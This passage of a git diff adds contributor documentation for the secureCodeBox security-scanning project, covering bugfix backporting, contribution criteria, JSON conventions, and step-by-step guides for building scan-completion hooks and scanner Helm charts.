Adds fifth feature +24d383b Adds fourth feature +fd9b40f (tag: 1.0.1) Fixes bug in third feature +61486a5 Fixes bug in first feature +05cd59a (tag: 1.0.0) Adds third feature +7fdb08c Adds second feature +1114de3 Adds first feature +661378d Init +``` + +As you can see, you're no longer on _main_ branch, but on the so-called _release branch_ "1.x". It is recommended to name the release branch according the major version it branches of. In this example the major version is 1.0.0, so we name the _release branch_ "1.x". We fix the bug in this branch and release a new bugfix version "1.1.1". + +Now we need to fix this bug also in the main branch. In case of git you simply switch back to _main branch_ and [cherry-pick][git-cherry-pick] the commit with the bugfix into the _main branch_ and release a new bugfix version, too: + +```text +3a34c84 (HEAD -> main, tag: 2.0.1) Fix critical bug in third feature +6273db7 (tag: 2.0.0) Adds sixth feature +732d3a1 (tag: 1.1.0) Adds fifth feature +24d383b Adds fourth feature +fd9b40f (tag: 1.0.1) Fixes bug in third feature +61486a5 Fixes bug in first feature +05cd59a (tag: 1.0.0) Adds third feature +7fdb08c Adds second feature +1114de3 Adds first feature +661378d Init +``` + +From now on you have two branches (until you decide to no longer maintain version 1.x): + +![Example with one release branch](/img/docs/backports/simple_example_with_one_release_branch.png) + +## Where to Fix the Bug Initially + +From a naive perspective you fix the bug obviously in the head version of the _main branch_ and then backporting it into all affected _release branches_. That's why it is named "backporting". But this approach is not always sufficient in a complex project. You have to keep in mind + +- the bug may not exist in _main head version_ because it was fixed by accident or +- you did massive refactorings which makes simple cherry-picking into older _release branches_ impossible and +- you have to figure out which _release branches_ are affected by the bug. + +One good practice is to initially fix the bug int the branch where it occurred. Also, a good practice is to first implement a _regression test_ which provokes the bug and fail initially. It is highly recommended to add this tests in a separate commits. Now the process is to go back all maintained older version (checkout their _Release branch_) and verify if the bug is there. Simply by looking at the source code, if it's a simple bug or by chery-picking the regression test and execute it. If the branch is affected then cherry-pick the bugfix commits. Then go through all newer release branches until up to the _main branch_ and do the same. (This is also called backporting, although it does not go backward but forward.) + +:::note +It's quite debatable if this approach is the best. We made good experience with this approach. Anyway whatever approach is used at the end, one thing is important: Define one approach and always stick to it. Otherwise, you will lose the overview where to fix the bug and where it is already fixed. + +Also, it is not always possible to simply cherry-pick a bugfix. This may have different reasons: + +- The commit does not only contain the bugfix, but also some refactorings or cleanups: **NEVER DO THIS**! For such "hot fixes" bluntly implement the sole bugfix, nothing else. If you want to do refactoring or cleanups? Fine, but do this in different commits. Unless the person who must do the backporting will hate you 😉 +- There were refactorings done on the way to newer versions: In this case the person who do the backport need to implement the bugfix again and can't simply cherry-pick it. To help for this case you must note the previous bullet point 😉 +::: + +[scb-version-2]: /blog/2021/06/07/why-securecodebox-version-2 +[semver]: https://semver.org/ +[git-cherry-pick]: https://git-scm.com/docs/git-cherry-pick diff --git a/documentation/docs/contributing/contribution-criteria.md b/documentation/docs/contributing/contribution-criteria.md new file mode 100644 index 0000000000..99a8894d19 --- /dev/null +++ b/documentation/docs/contributing/contribution-criteria.md @@ -0,0 +1,87 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Contribution criteria" +sidebar_position: 0 +--- + +Thank you for your interest in contributing to the Open Source repository of the *secureCodeBox*. Your effort is much +appreciated! On this site, we list the requirements to get your pull request (PR) merged to the main branch. +For more information about contributing in general, please refer to our [contributing file](https://github.com/secureCodeBox/secureCodeBox/blob/45f6979f5ca0c81c25384543f7434127c7a48c7f/CONTRIBUTING.md). + +## Content related criteria + +To avoid any frustration on your side before you even got started, please decide into which category the content of +your PR will fall. Creating an [issue](https://github.com/secureCodeBox/secureCodeBox/issues) in our main repository +is a good way to get an overview of what has to be done and get feedback early! To create an issue is also a +must-have for any change that takes longer than one hour to complete. + +### Merge after approving review + +Given that the formal acceptance criteria (see below) are met, we will merge the following sorts of PRs without +additional internal discussion: +* Bug fixes +* Documentation enhancements +* Maintenance work such as code style or typo fixes + +### Merge only after team decision + +PRs other than the ones above will be discussed by the core developer team. We will stay in close +contact with you regarding the decision process. If you think that your PR falls into that category, it might be +worth to [get in touch](https://www.securecodebox.io/blog/2021/09/07/how-we-work#get-engaged) before you get started. + +* Updates to existing features (operator, scans, hooks, auto-discovery, tests) +* New features (especially scanners, hooks, tests) +* Breaking changes (especially operator, auto-discovery) + +The reason behind why your PR can possibly get rejected could be that we might not have enough capacity to maintain your +PR in the future, that it might be too specific (e.g. introducing a scanner that has similar functionality as an +already existing one) or that it does not fit into the current overall development strategy of the *secureCodeBox*. +If that is the case, you might still want to add your new feature to our +[custom community contributions](/docs/community-features/scanners-and-hooks). + +## Formal acceptance criteria + +If your PR meets the content-related acceptance criteria above, you then only have to make sure that our formal criteria +are also met. Here is an overview about them: + +* DCO compliance +* All checks completed successfully +* Changes approved +* Optional: Verified commits + +### DCO compliance + +Each commit must contain the signed-off-by tag with your real name and email address at the bottom: + +```text +Signed-off-by: gordon shumway <alf@melmak.com> +``` + +Committing with `git commit -s` will add the sign-off at the end of the commit message automatically for you. +In addition, if it is your first time to contribute, please also add your name and e-mail to the +[list of contributors](https://github.com/secureCodeBox/secureCodeBox/blob/45f6979f5ca0c81c25384543f7434127c7a48c7f/CONTRIBUTORS.md). +You can simply do that as a change in your PR. + +### All checks completed successfully + +Please make sure that all tests run successfully on your forked branch. If it is your first time contributing, +our GitHub workflow has to be approved by a core developer (which is usually done as soon as possible). +Please feel free to open a *draft PR* if you need early feedback here. + +### Changes approved + +If you are done with your PR, you can request a review from one of our core team developers. The developer (or +another member of the team that is free) will then review your PR and might request changes. Once everything is fixed +and looks good, your PR will be approved and get merged as soon as possible. Thank you for contributing! :) + +### Optional: Verified commits + +Please make sure that you are using a method to +[sign your commits on GitHub](https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits). +This, however, is a strict requirement only for our core developer team. But you can increase the trustworthiness +of all your contributions to any open source project by signing your commits. +"Signing your commits" is not to be confused with the "Sign-off" (see DCO compliance above), which is mandatory for +legal reasons. diff --git a/documentation/docs/contributing/conventions.md b/documentation/docs/contributing/conventions.md new file mode 100644 index 0000000000..6e215cd8e3 --- /dev/null +++ b/documentation/docs/contributing/conventions.md @@ -0,0 +1,42 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Coding Conventions" +sidebar_position: 5 +--- + +## Guidelines + +> ✍ **Following...** + +### Coding Guidelines + +> ✍ **Following...** + +#### JSON + +We're using snake_case (lower case) for json attributes. If an enum type is used as attribute it's converted to lower case. If it's a value it's always used UPPERCASE. This is to hold the attribute api consistent, but make sure Enums are recognized as enums. + +```json +{ + "id": "e18cdc5e-6b49-4346-b623-28a4e878e154", + "name": "Open mysql Port", + "description": "Port 3306 is open using tcp protocol.", + "category": "Open Port", + "osi_layer": "NETWORK", + "severity": "INFORMATIONAL", + "attributes": { + "protocol": "tcp", + "port": 3306, + "service": "mysql", + "mac_address": null, + "start": "1520606104", + "end": "1520606118", + "ip_address": "127.0.0.1", + "state": "open" + }, + "location": "tcp://127.0.0.1:3306" +} +``` diff --git a/documentation/docs/contributing/integrating-a-hook/_category_.json b/documentation/docs/contributing/integrating-a-hook/_category_.json new file mode 100644 index 0000000000..88e4232dcf --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Integrating a Hook", + "position": 2 +} diff --git a/documentation/docs/contributing/integrating-a-hook/chart.yaml.md b/documentation/docs/contributing/integrating-a-hook/chart.yaml.md new file mode 100644 index 0000000000..af8a85c27f --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/chart.yaml.md @@ -0,0 +1,64 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Chart.yaml +sidebar_position: 1 +--- + +The `Chart.yaml` is a basic description of your hook helm chart and will look something like the following: + +```yaml +apiVersion: v2 +name: finding-post-processing +description: Lets you add or override a field to every finding that meets specified conditions + +type: application + +# version - gets automatically set to the secureCodeBox release version when the helm charts gets published +version: latest +kubeVersion: ">=v1.11.0-0" + +dependencies: [] +``` + +The full documentation for helms `Chart.yaml` file can be found [here in the helm docs](https://helm.sh/docs/topics/charts/#the-chartyaml-file). + +## apiVersion + +The `apiVersion` sets the used Chart API version of Helm. +You won't have to change this field. + +## name + +The `name` field should be set to the name of the hook. +You won't have to change this field. + +## description + +Please change the `description` field to explain the basic purpose of your hook. +For _generic-webhook_ the `description` would be: + +```yaml +description: Let's you send http webhooks after scans are completed +``` + +## version and appVersion + +The fields for `version` will be set automatically by our release process. +Please set both values to `latest` for this purpose: + +```yaml +version: latest +appVersion: latest +``` + +## kubeVersion + +The `kubeVersion` references the version of kubernetes that is required to run your Helm Chart. +Please add `kubeVersion` with the value `">=v1.11.0-0"` + +```yaml +kubeVersion: ">=v1.11.0-0" +``` diff --git a/documentation/docs/contributing/integrating-a-hook/dockerfile.md b/documentation/docs/contributing/integrating-a-hook/dockerfile.md new file mode 100644 index 0000000000..69c68d0983 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/dockerfile.md @@ -0,0 +1,27 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Dockerfile +sidebar_position: 5 +--- + +The Dockerfile for a hook looks like the following. +If you use the provided *hook-sdk*, you won't need to apply any changes to it. + +```Dockerfile +ARG baseImageTag +FROM node:12-alpine as build +RUN mkdir -p /home/app +WORKDIR /home/app +COPY package.json package-lock.json ./ +RUN npm ci --production + +FROM securecodebox/hook-sdk-nodejs:${baseImageTag:-latest} +WORKDIR /home/app/hook-wrapper/hook/ +COPY --from=build --chown=app:app /home/app/node_modules/ ./node_modules/ +COPY --chown=app:app ./hook.js ./hook.js +``` + +See [Local Deployment](/docs/contributing/local-deployment) for instructions on how to build and deploy your hook. diff --git a/documentation/docs/contributing/integrating-a-hook/hook.md b/documentation/docs/contributing/integrating-a-hook/hook.md new file mode 100644 index 0000000000..5b1437f353 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/hook.md @@ -0,0 +1,183 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: hook.js and hook.test.js +sidebar_position: 5 +--- + +## hook.js + +This file will contain the actual code of your hook. +For JavaScript, we provide a _hook-sdk_. +This _hook-sdk_ serves as helper for retrieving findings and as entrypoint for the Dockerfile. + +The only function required to be created is the `handle()` function. +This function is called by the _hook-sdk_ after scans are finished. +As parameters for `handle()` the _hook-sdk_ provides the following: + +- [hook.js](#hookjs) + - [getRawResults()](#getrawresults) + - [getFindings()](#getfindings) + - [updateRawResults()](#updaterawresults) + - [updateFindings()](#updatefindings) + - [scan](#scan) + - [Example](#example) +- [hook.test.js](#hooktestjs) + +### getRawResults() + +This callback function will provide all raw results to the hook as a promise. + +:::caution +When the rawResults are in form of a json file, getRawResults will return the parsed representation of the data, not the json string. +::: + +```js +async function handle({ getRawResults }) { + const result = await getRawResults(); + // outputs string representation of the scan result file + // e.g. the nmap xml output + console.log(result); +} +module.exports.handle = handle; +``` + +### getFindings() + +This callback function will provide all findings to the hook as an array of findings wrapped in a promise. + +Example: + +```js +async function handle({ getFindings }) { + const findings = await getFindings(); + // logs the findings returned by the parser of the scantype + console.log(findings); +} +module.exports.handle = handle; +``` + +### updateRawResults() + +This callback function will enable you to publish desired changes to raw results. + +:::note +`updateRawResults` is only available in ReadAndWrite hooks. +::: + +:::caution +`updateRawResults` operates on the raw results of the scans, this means that the implementation has to be tied to the specific output format of a singular scanner. The updated raw results are also not parsed again by the parsers integrated into the secureCodeBox, making this method only viable if you are using a ReadOnly hook exporting the results into an external system like DefectDojo. + +If you want to perform actions on all findings consider using the `updateFindings` hook. +::: + +Example + +```js +async function handle({ updateRawResults }) { + // Overrides the raw results with a fixed nmap report + await updateRawResults(` +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE nmaprun> +<?xml-stylesheet href="file:///usr/local/bin/../share/nmap/nmap.xsl" type="text/xsl"?> +<!-- Nmap 7.91 scan initiated Mon Dec 7 12:29:59 2020 as: nmap -oX - -p 443 fooobar.example.com --> +<nmaprun scanner="nmap" args="nmap -oX - -p 443 fooobar.example.com" start="1607340599" startstr="Mon Dec 7 12:29:59 2020" version="7.91" xmloutputversion="1.05"> +<scaninfo type="connect" protocol="tcp" numservices="1" services="443"/> +<verbose level="0"/> +<debugging level="0"/> +Failed to resolve "fooobar.example.com". +WARNING: No targets were specified, so 0 hosts scanned. +<runstats><finished time="1607340599" timestr="Mon Dec 7 12:29:59 2020" summary="Nmap done at Mon Dec 7 12:29:59 2020; 0 IP addresses (0 hosts up) scanned in 0.03 seconds" elapsed="0.03" exit="success"/><hosts up="0" down="0" total="0"/> +</runstats> +</nmaprun> +`); +} +module.exports.handle = handle; +``` + +### updateFindings() + +This callback function will enable you to publish desired updates to the findings. + +:::note +`updateFindings` is only available in ReadAndWrite hooks. +::: + +:::caution +If you make changes to some findings you will have to call `updateFindings()` with **_ALL_** findings not just with the ones that have changed or unchanged findings will get lost! +::: + +Example: + +```js +async function handle({ + updateFindings, +}) { + // Overrides the findings with a fixed nmap finding + await updateFindings([ + { + "id": "7475b620-0527-4679-b738-b2c69fad025f" + "name": "ssh", + "description": "Port 22 is open using tcp protocol.", + "category": "Open Port", + "location": "tcp://45.33.32.156:22", + "osi_layer": "NETWORK", + "severity": "INFORMATIONAL", + "attributes": { + "port": 22, + "state": "open", + "ip_address": "45.33.32.156", + "mac_address": null, + "protocol": "tcp", + "hostname": "scanme.nmap.org", + "method": "table", + "operating_system": null, + "service": "ssh", + "serviceProduct": null, + "serviceVersion": null, + "scripts": null + }, + } + ]); +} +``` + +### scan + +### Example + +This is a basic example for the _generic-webhook_ +As you can see this hook defines the `handle()` function but only uses `getFindings()` and `scan` provided by the _hook-sdk_. +This is fine because the other parameters are not needed. + +:::info +Maybe you notice that in line 5 ENVs are used. +If you also need ENVs or Volumes see INSERT-LINK-HERE. +::: + +:::info +Notice that the `handle()` function has to be exported to use in the _hook-sdk_ +::: + +```js +const axios = require("axios"); + +async function handle({ + getFindings, + scan, + webhookUrl = process.env["WEBHOOK_URL"], +}) { + const findings = await getFindings(); + + console.log(`Sending ${findings.length} findings to ${webhookUrl}`); + + await axios.post(webhookUrl, { scan, findings }); +} +module.exports.handle = handle; +``` + +## hook.test.js + +This file should contain some unit test to run against your hook. diff --git a/documentation/docs/contributing/integrating-a-hook/integrating-a-hook.md b/documentation/docs/contributing/integrating-a-hook/integrating-a-hook.md new file mode 100644 index 0000000000..52da4d2ad2 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/integrating-a-hook.md @@ -0,0 +1,48 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Integrating A New Hook" +sidebar_position: 1 +--- + +In the _secureCodeBox_ we created new _Custom Resource Definitions_ (CRD) for Kubernetes to manage scanners (_ScanType_) and hooks (see [Custom Resource Definitions](/docs/api/crds)). +To add a new Hook you need to add a new _ScanCompletionHook_ (see [ScanCompletionHook](/docs/api/crds/scan-completion-hook)). + +In the _secureCodeBox_ we use Helm Charts for all our Resources to make the installation of new scanners/hooks as easy as possible and enable us to install only the scanners/hooks we actually need. +The directory structure of a hook Helm Chart will look something like this: + +```bash +├── docs +│   ├── README.ArtifactHub.md +│   └── README.DockerHub-Hook.md +├── hook +│   ├── Dockerfile +│   ├── hook.js +│   ├── hook.test.js +│   ├── package.json +│   ├── package-lock.json +│   └── .dockerignore +├── templates +│   ├── finding-post-processing-hook.yaml +│   ├── _helpers.tpl +│   └── NOTES.txt +├── Chart.yaml +├── values.yaml +├── Makefile +├── README.md +├── .helm-docs.gotmpl +├── .helmignore +└── .gitignore +``` + +To create a new Helm Chart for your hook you can use the following command (replace _new-hook_ with the name of the hook): + +```bash +helm create new-hook +``` + +This command will create a new directory named _new-hook_ and some template files provided by `helm` to simplify the creation of Helm Charts (see [Helm | Getting Started](https://helm.sh/docs/chart_template_guide/getting_started/)). + +The following pages describe the purpose of all files and how to configure them. diff --git a/documentation/docs/contributing/integrating-a-hook/integration-tests.md b/documentation/docs/contributing/integrating-a-hook/integration-tests.md new file mode 100644 index 0000000000..30082281ce --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/integration-tests.md @@ -0,0 +1,76 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Integration Tests +sidebar_position: 8 +--- + +After you have finished the implementation, it's very much recommended to add some End-2-End Integration Tests +for your hook to check if everything is running smoothly together. + +## Write your tests + +In most cases, the simplest and most effective way +to test your hook is by running it after test-scan or against a scan of a `demo-target`. You can also re-use one of the examples you provided. + +Let's have a look at the [read-write-hook](https://github.com/secureCodeBox/secureCodeBox/blob/main/tests/integration/generic/read-write-hook.test.js) test to understand all the steps required: + +```javascript +const { scan } = require("../helpers"); + +test( + "localhost port scan should only find a host finding", + async () => { + const { categories, severities, count } = await scan( + "test-scan-read-write-hook", + "test-scan", + [], + 90 + ); + + expect(count).toBe(2); + expect(categories).toMatchInlineSnapshot(` + Object { + "Host": 1, + "Open Port": 1, + "fancy-category": 2, + } + `); + expect(severities).toMatchInlineSnapshot(` + Object { + "high": 2, + } + `); + }, + 3 * 60 * 1000 +); +``` + +At first, we start our scan function, and we feed it with a scan name (`test-scan-read-write-hook`), the specific scan command (`test-scan`) and a list of parameters (`[]`) for the scan. Likely, you can copy them from an example. Note that you must refer to your targeted demo-target via +`name.demp-targets.svc` if it is installed in the "demo-targets" namespace. +**Please don't use any external websites (like google.com) in your integration tests!** + +The last parameter is a test timeout in seconds. This timeout should be lower than the general one for the jest test +to provide us with better information in case that the test fails. + +Upon finishing successfully, the scan will give us back categories, severities and a number of findings (count). +We can then use them to create our test assertions. If you use snapshots, you don't need to copy your findings manually, +you can rather automatically update them via `npx jest --update-snapshot` (see below). + +The last parameter would be the test timeout for jest in milliseconds, make sure it is high enough and +higher than the timeout provided above. + +## Run your integration tests locally + +Before pushing them to the repository, make sure your tests run successfully in your local cluster. You may use the [makefile](/docs/contributing/integrating-a-hook/makefile) to run your integration tests locally. + +## Integrate in ci.yaml + +If your tests are successful, you can eventually integrate them in the [ci workflow](https://github.com/secureCodeBox/secureCodeBox/blob/main/.github/workflows/ci.yaml#L414). +Here you have to go through the same steps as above to install all the resources in the cluster. Please make sure to stick to the conventions +already used in the yaml file and please do not install any resources for your tests that have already been installed +or are not used in the tests. + +Thank you for helping us to provide high quality open source code! :) diff --git a/documentation/docs/contributing/integrating-a-hook/makefile.md b/documentation/docs/contributing/integrating-a-hook/makefile.md new file mode 100644 index 0000000000..4019c360a7 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/makefile.md @@ -0,0 +1,84 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Makefile +sidebar_position: 4 +--- + +To test your hook locally, you may use the following makefile. + +```makefile +#!/usr/bin/make -f + +include_guard = set +hook = finding-post-processing + +include ../../hooks.mk +``` + +See [Local Deployment](/docs/contributing/local-deployment) for examples how to use the Makefiles. + +## Available makefile targets + +| Target | Use | +| --------------------------------- | --------------------------------------------------------------------------------- | +| reset-integration-tests-namespace | Resets the integration-tests namespace | +| unit-tests | Run your hook unit tests | +| docker-build | Builds your hook | +| docker-export | Exports your hook into a .tar file | +| kind-import | Loads your hook .tar files into your local kind cluster | +| deploy | Deploys your hook helm chart into your local kind cluster | +| deploy-test-deps | Deploys your hook's test dependencies (demo-targets) into your local kind cluster | +| integration-tests | Deletes all scans and runs your integration test `scanners/SCANNER_NAME.test.js` | + +## Configuring your makefile (examples) + +### Adding test dependencies (demo-targets) + +```makefile +#!/usr/bin/make -f + +include_guard = set +hook = generic-webhook + +include ../../hooks.mk + + +deploy-test-deps: deploy-test-dep-http-webhook deploy-test-dep-test-scan + +deploy: + @echo ".: 💾 Deploying '$(name)' $(hook-prefix) HelmChart with the docker tag '$(IMG_TAG)' into kind namespace 'integration-tests'." + helm -n integration-tests upgrade --install ro-hook . \ + --set="hook.image.repository=docker.io/$(IMG_NS)/$(hook-prefix)-$(name)" \ + --set="hook.image.tag=$(IMG_TAG)" \ + --set="webhookUrl=http://http-webhook/hallo-welt" + +integration-tests: + @echo ".: 🩺 Starting integration test in kind namespace 'integration-tests'." + kubectl -n integration-tests delete scans --all + cd ../../tests/integration/ && npm ci && npx --yes --package jest@$(JEST_VERSION) jest --verbose --ci --colors --coverage --passWithNoTests generic/read-only-write-hook.test.js + +``` + +This adds the http-webhook demo-target to your integration tests. +`deploy-test-dep-test-scan` is a sample scanner used in most hook integration tests. + +The above makefile also overrides the `integration-test` target such that it references the generic folder as a test suite. + +### Changing the unit test language + +```makefile +#!/usr/bin/make -f + +include_guard = set +hook = persistence-defectdojo + +include ../../hooks.mk + +unit-tests: + @$(MAKE) -s unit-test-java +``` + +You can choose from: `unit-test-js` `unit-test-py` `unit-test-java`. diff --git a/documentation/docs/contributing/integrating-a-hook/readme-and-helm-docs.md b/documentation/docs/contributing/integrating-a-hook/readme-and-helm-docs.md new file mode 100644 index 0000000000..3c7f931fb5 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/readme-and-helm-docs.md @@ -0,0 +1,44 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: README.md And .helm-docs.gotmpl +sidebar_position: 7 +--- + +You may have noticed that all our hooks provide a `README.md` as well as a `.helm-docs.gotmpl`. +The reason for this is that we want to provide the documentation of our Helm values directly in our `README.md`. +To avoid the need to do this task manually we use a tool that creates a table with all our values directly from our `values.yaml`. +Therefore there is no need to make any changes on the `README.md` it self. +Every change has to be made in the `.helm-docs.gotmpl` file. + +The `.helm-docs.gotmpl` should contain basic information about your hook like its purpose, how it is deployed, how it is configured as well as its Chart configurations generated out of the `values.yaml`. +For example the `.helm-docs.gotmpl` for _WPScan_ looks like this: + +```markdown +--- +title: "Generic WebHook" +category: "hook" +type: "integration" +state: "released" +usecase: "Publishes Scan Findings as WebHook." +--- + +<!-- end --> + +This Hook will make a request to the specified `webhookUrl` containing the findings in its request body. + +## Deployment + +Installing the Generic WebHook hook will add a ReadOnly Hook to your namespace. +Change `webhookUrl` to your desired endpoint. + +helm upgrade --install gwh secureCodeBox/generic-webhook --set webhookUrl="http://example.com/my/webhook/target" + +## Chart Configuration + +{{ template "chart.valuesTable" . }} +``` + +If you want to generate the `README.md` out of your `.helm-docs.gotmpl` locally, you can use `helm-docs` (see: [https://github.com/norwoodj/helm-docs/](https://github.com/norwoodj/helm-docs/)). diff --git a/documentation/docs/contributing/integrating-a-hook/templates-dir.md b/documentation/docs/contributing/integrating-a-hook/templates-dir.md new file mode 100644 index 0000000000..e84d21521c --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/templates-dir.md @@ -0,0 +1,31 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: templates (Directory) +sidebar_position: 6 +--- + +## new-hook.yaml + +This file contains the specification of your new hook. Please take a look at [ScanCompletionHook | secureCodeBox](/docs/api/crds/scan-completion-hook) on how to configure your `ScanCompletionHook` + +## Example + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: ScanCompletionHook +metadata: + name: {{ include "generic-webhook.fullname" . }} + labels: {{ - include "generic-webhook.labels" . | nindent 4 }} +spec: + type: ReadOnly + image: "{{ .Values.hook.image.repository }}:{{ .Values.hook.image.tag | default .Chart.Version }}" + ttlSecondsAfterFinished: {{ .Values.hook.ttlSecondsAfterFinished }} + env: + - name: WEBHOOK_URL + value: {{ .Values.webhookUrl | quote }} + affinity: {{ - toYaml .Values.hook.affinity | nindent 4 }} + tolerations: {{ - toYaml .Values.hook.tolerations | nindent 4 }} +``` diff --git a/documentation/docs/contributing/integrating-a-hook/values.yaml.md b/documentation/docs/contributing/integrating-a-hook/values.yaml.md new file mode 100644 index 0000000000..437c56730c --- /dev/null +++ b/documentation/docs/contributing/integrating-a-hook/values.yaml.md @@ -0,0 +1,63 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: values.yaml +sidebar_position: 2 +--- + +The final `values.yaml` will look something like this: + +```yaml +# Default values for dispatcher. +# This is a YAML-formatted file. +# Declare variables to be passed into your templates. + +# webhookUrl -- The URL of your WebHook endpoint +webhookUrl: "http://example.com" + +hook: + image: + # hook.image.repository -- Hook image repository + repository: docker.io/securecodebox/hook-generic-webhook + # hook.image.tag -- The image Tag defaults to the charts version if not defined. + # @default -- defaults to the charts version + tag: null + + # -- Add Kubernetes Labels to the hook definition + labels: {} + + # -- Hook priority. Higher priority Hooks are guaranteed to execute before low priority Hooks. + priority: null + + # hook.ttlSecondsAfterFinished -- Seconds after which the kubernetes job for the hook will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ + ttlSecondsAfterFinished: null +``` + +## image + +The `image` field specifies the Docker image that is used for your hook. +The `repository` specifies Registry and Namespace and `tag` defines the desired image tag. +These are the only mandatory fields for a hook to work. + +## Labels + +Adds Kubernetes labels to the Hook definition. See the [Hooks HowTo](/docs/how-tos/hooks#hook-selector) for examples on how to use it. + +## Priority + +You can specify the priority of the hook with `hook.priorty`. +By default, this priority should be zero since they regard deployment-specific configurations which the secureCodeBox team does not manage. + +### Affinity + +Optional affinity settings that control how the hook is scheduled (see: [Node Affinity | Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/)) + +### Tolerations + +Optional tolerations settings that control how the hook is scheduled (see: [Tolerations | Kubernetes](https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/)) + +## Additional Values + +If your hook needs some additional information like an URL (`webhookUrl` in the example above), environment variables or volume mounts, you need to provide an option to specify them in your `values.yaml` and access them in the hook implementation (See [templates](/docs/contributing/integrating-a-hook/templates-dir) for information on how to access the provided values, and [ScanCompletionHook](/docs/api/crds/scan-completion-hook) for a list of possible keys you can set in the template). diff --git a/documentation/docs/contributing/integrating-a-scanner/_category_.json b/documentation/docs/contributing/integrating-a-scanner/_category_.json new file mode 100644 index 0000000000..70a3d867da --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Integrating a Scanner", + "position": 1 +} diff --git a/documentation/docs/contributing/integrating-a-scanner/cascading-rules-dir.md b/documentation/docs/contributing/integrating-a-scanner/cascading-rules-dir.md new file mode 100644 index 0000000000..274d7c6d62 --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/cascading-rules-dir.md @@ -0,0 +1,10 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: cascading-rules (Directory) +sidebar_position: 3 +--- + +The `cascading-rules` directory contains all your `CascadingRules` (see: [CascadingRule | secureCodeBox](/docs/api/crds/cascading-rule)). diff --git a/documentation/docs/contributing/integrating-a-scanner/chart.yaml.md b/documentation/docs/contributing/integrating-a-scanner/chart.yaml.md new file mode 100644 index 0000000000..5f0ed6827c --- /dev/null +++ b/documentation/docs/contributing/integrating-a-scanner/chart.yaml.md @@ -0,0 +1,126 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: Chart.yaml +sidebar_position: 1 +--- + +The `Chart.yaml` is a basic description of your scanner helm chart and will look something like the following: + +```yaml +apiVersion: v2 +name: new-scanner +description: A Helm chart for Kubernetes + +# A chart can be either an 'application' or a 'library' chart. +# +# Application charts are a collection of templates that can be packaged into versioned archives +# to be deployed. +# +# Library charts provide useful utilities or functions for the chart developer. They're included as +# a dependency of application charts to inject those utilities and functions into the rendering +# pipeline. Library charts do not define any templates and therefore cannot be deployed. +type: application + +# This is the chart version. This version number should be incremented each time you make changes +# to the chart and its templates, including the app version. +# Versions are expected to follow Semantic Versioning (https://semver.org/) +version: 0.1.0 + +# This is the version number of the application being deployed. This version number should be +# incremented each time you make changes to the application. Versions are not expected to +# follow Semantic Versioning. They should reflect the version the application is using. +appVersion: 1.16.0 +``` + +## apiVersion + +The `apiVersion` sets the used Chart API version of Helm. +You won't have to change this field. + +## name + +The `name` field should be set to the name of the scanner. +You won't have to change this field. + +## description + +Please change the `description` field to explain the basic purpose of your scanner. +For _WPScan_ the `description` would be: + +```yaml +description: A Helm chart for the WordPress security scanner that integrates with the secureCodeBox. +``` + +## version and appVersion + +The fields for `version` will be set automatically by our release process. +The `appVersion` should be set to the Version of the scanner. If the scanner does not use versions please use `latest`. +Please set both values: + +```yaml +version: latest +appVersion: latest +``` + +## kubeVersion + +The `kubeVersion` references the version of kubernetes that is required to run your Helm Chart. +Please add `kubeVersion` with the value `">=v1.11.0-0"` + +```yaml +kubeVersion: ">=v1.11.0-0" +``` + +## keywords + +The `keywords` field makes it possible to specify a list of keywords about this project. +For the WPScan `keywords` would look the following: + +```yaml +keywords: + - security + - wpscan + - wordpress + - scanner + - secureCodeBox +``` + +## home + +The `home` field should be set to the home page of the project. +For WPScan this would be: + +```yaml +home: https://www.securecodebox.io/docs/scanners/WPScan +``` + +## icon + +The `icon` field should be set to the URL to a SVG or PNG (if existing). +For WPScan `icon` would look the following: + +```yaml +icon: https://www.securecodebox.io/img/integrationIcons/WPScan.svg +``` + +## sources + +The `sources` field should be set the the URL of the _secureCodeBox_ repository: + +```yaml +sources: + - https://github.com/secureCodeBox/secureCodeBox +``` + +## maintainers + +The 